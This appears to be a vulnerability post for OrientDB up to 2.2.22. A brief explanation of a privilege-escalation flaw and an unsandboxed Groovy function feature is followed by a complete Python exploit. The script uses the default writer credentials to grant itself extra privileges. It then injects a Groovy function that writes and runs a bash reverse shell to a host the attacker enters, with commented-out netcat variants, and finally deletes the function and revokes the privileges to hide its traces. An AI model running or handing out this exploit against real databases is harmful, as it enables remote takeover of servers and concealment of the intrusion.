OrientDB <=2.22 代码执行

关于OrientDB

OrientDB是一个分布式图形数据库引擎,具有文档数据库的灵活性,一体化的产品。第一个也是最好的可升级,高性能,可操作的NoSQL数据库。

Vulnerability Details
OrientDB uses RBAC model for authentication schemes. By default an OrientDB has 3 roles – admin, writer and reader. These have their usernames same as the role. For each database created on the server, it assigns by default these 3 users.

The privileges of the users are:

admin – access to all functions on the database without any limitation
reader – read-only user. The reader can query any records in the database, but can’t modify or delete them. It has no access to internal information, such as the users and roles themselves
writer – same as the "reader", but it can also create, update and delete records
ORole​ structure handles users and their roles and is only accessible by the admin user. OrientDB requires oRole read permissions to allow the user to display the permissions of users and make other queries associated with oRole permissions.

From version 2.2.x and above whenever the oRole is queried with a where, fetchplan and order by statements​, this permission requirement is not required and information is returned to unprivileged users.

Since we enable the functions where, fetchplan and order by, and OrientDB has a function where you could execute groovy functions and this groovy wrapper doesn’t have a sandbox and exposes system functionalities, we can run any command we want.

poc

#! /usr/bin/env python
#-*- coding: utf-8 -*-
import sys
import requests
import json
import string
import random
 
target = sys.argv[1]
 
try:
    port = sys.argv[2] if sys.argv[2] else 2480
except:
    port = 2480
 
url = "http://%s:%s/command/GratefulDeadConcerts/sql/-/20?format=rid,type,version,class,graph"%(target,port)
 
 
def random_function_name(size=5, chars=string.ascii_lowercase + string.digits):
    return ''.join(random.choice(chars) for _ in range(size))
 
def enum_databases(target,port="2480"):
 
    base_url = "http://%s:%s/listDatabases"%(target,port)
    req = requests.get(base_url)
 
    if req.status_code == 200:
        #print "[+] Database Enumeration successful"
        database = req.json()['databases']
 
        return database
 
    return False
 
def check_version(target,port="2480"):
    base_url = "http://%s:%s/listDatabases"%(target,port)
    req = requests.get(base_url)
 
    if req.status_code == 200:
 
        headers = req.headers['server']
        #print headers
        if "2.2" in headers or "3." in headers:
            return True
 
    return False
 
def run_queries(permission,db,content=""):
 
    databases = enum_databases(target)
 
    url = "http://%s:%s/command/%s/sql/-/20?format=rid,type,version,class,graph"%(target,port,databases[0])
 
    priv_enable = ["create","read","update","execute","delete"]
    #query = "GRANT create ON database.class.ouser TO writer"
 
    for priv in priv_enable:
 
        if permission == "GRANT":
            query = "GRANT %s ON %s TO writer"%(priv,db)
        else:
            query = "REVOKE %s ON %s FROM writer"%(priv,db)
        req = requests.post(url,data=query,auth=('writer','writer'))
        if req.status_code == 200:
            pass
        else:
            if priv == "execute":
                return True
            return False
 
    print "[+] %s"%(content)
    return True
 
def priv_escalation(target,port="2480"):
 
    print "[+] Checking OrientDB Database version is greater than 2.2"
 
    if check_version(target,port):
 
        priv1 = run_queries("GRANT","database.class.ouser","Privilege Escalation done checking enabling operations on database.function")
        priv2 = run_queries("GRANT","database.function","Enabled functional operations on database.function")
        priv3 = run_queries("GRANT","database.systemclusters","Enabling access to system clusters")
 
        if priv1 and priv2 and priv3:
            return True
 
    return False
 
def exploit(target,port="2480"):
 
    #query = '"@class":"ofunction","@version":0,"@rid":"#-1:-1","idempotent":null,"name":"most","language":"groovy","code":"def command = \'bash -i >& /dev/tcp/0.0.0.0/8081 0>&1\';File file = new File(\"hello.sh\");file.delete();file << (\"#!/bin/bash\\n\");file << (command);def proc = \"bash hello.sh\".execute(); ","parameters":null'
 
    #query = {"@class":"ofunction","@version":0,"@rid":"#-1:-1","idempotent":None,"name":"ost","language":"groovy","code":"def command = 'whoami';File file = new File(\"hello.sh\");file.delete();file << (\"#!/bin/bash\\n\");file << (command);def proc = \"bash hello.sh\".execute(); ","parameters":None}
 
    func_name = random_function_name()
 
    print func_name
 
    databases = enum_databases(target)
 
    reverse_ip = raw_input('Enter the ip to connect back: ')
 
    query = '{"@class":"ofunction","@version":0,"@rid":"#-1:-1","idempotent":null,"name":"'+func_name+'","language":"groovy","code":"def command = \'bash -i >& /dev/tcp/'+reverse_ip+'/8081 0>&1\';File file = new File(\\"hello.sh\\");file.delete();file << (\\"#!/bin/bash\\\\n\\");file << (command);def proc = \\"bash hello.sh\\".execute();","parameters":null}'
    #query = '{"@class":"ofunction","@version":0,"@rid":"#-1:-1","idempotent":null,"name":"'+func_name+'","language":"groovy","code":"def command = \'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 0.0.0.0 8081 >/tmp/f\' \u000a File file = new File(\"hello.sh\")\u000a     file.delete()       \u000a     file << (\"#!/bin/bash\")\u000a     file << (command)\n    def proc = \"bash hello.sh\".execute() ","parameters":null}'
    #query = {"@class":"ofunction","@version":0,"@rid":"#-1:-1","idempotent":None,"name":"lllasd","language":"groovy","code":"def command = \'bash -i >& /dev/tcp/0.0.0.0/8081 0>&1\';File file = new File(\"hello.sh\");file.delete();file << (\"#!/bin/bash\\n\");file << (command);def proc = \"bash hello.sh\".execute();","parameters":None}
    req = requests.post("http://%s:%s/document/%s/-1:-1"%(target,port,databases[0]),data=query,auth=('writer','writer'))
 
    if req.status_code == 201:
 
        #print req.status_code
        #print req.json()
 
        func_id = req.json()['@rid'].strip("#")
        #print func_id
 
        print "[+] Exploitation successful, get ready for your shell.Executing %s"%(func_name)
 
        req = requests.post("http://%s:%s/function/%s/%s"%(target,port,databases[0],func_name),auth=('writer','writer'))
        #print req.status_code
        #print req.text
 
        if req.status_code == 200:
            print "[+] Open netcat at port 8081.."
        else:
            print "[+] Exploitation failed at last step, try running the script again."
            print req.status_code
            print req.text
 
        #print "[+] Deleting traces.."
 
        req = requests.delete("http://%s:%s/document/%s/%s"%(target,port,databases[0],func_id),auth=('writer','writer'))
        priv1 = run_queries("REVOKE","database.class.ouser","Cleaning Up..database.class.ouser")
        priv2 = run_queries("REVOKE","database.function","Cleaning Up..database.function")
        priv3 = run_queries("REVOKE","database.systemclusters","Cleaning Up..database.systemclusters")
 
        #print req.status_code
        #print req.text
 
def main():
 
    target = sys.argv[1]
    #port = sys.argv[1] if sys.argv[1] else 2480
    try:
        port = sys.argv[2] if sys.argv[2] else 2480
        #print port
    except:
        port = 2480
    if priv_escalation(target,port):
        exploit(target,port)
    else:
        print "[+] Target not vulnerable"
 
main()

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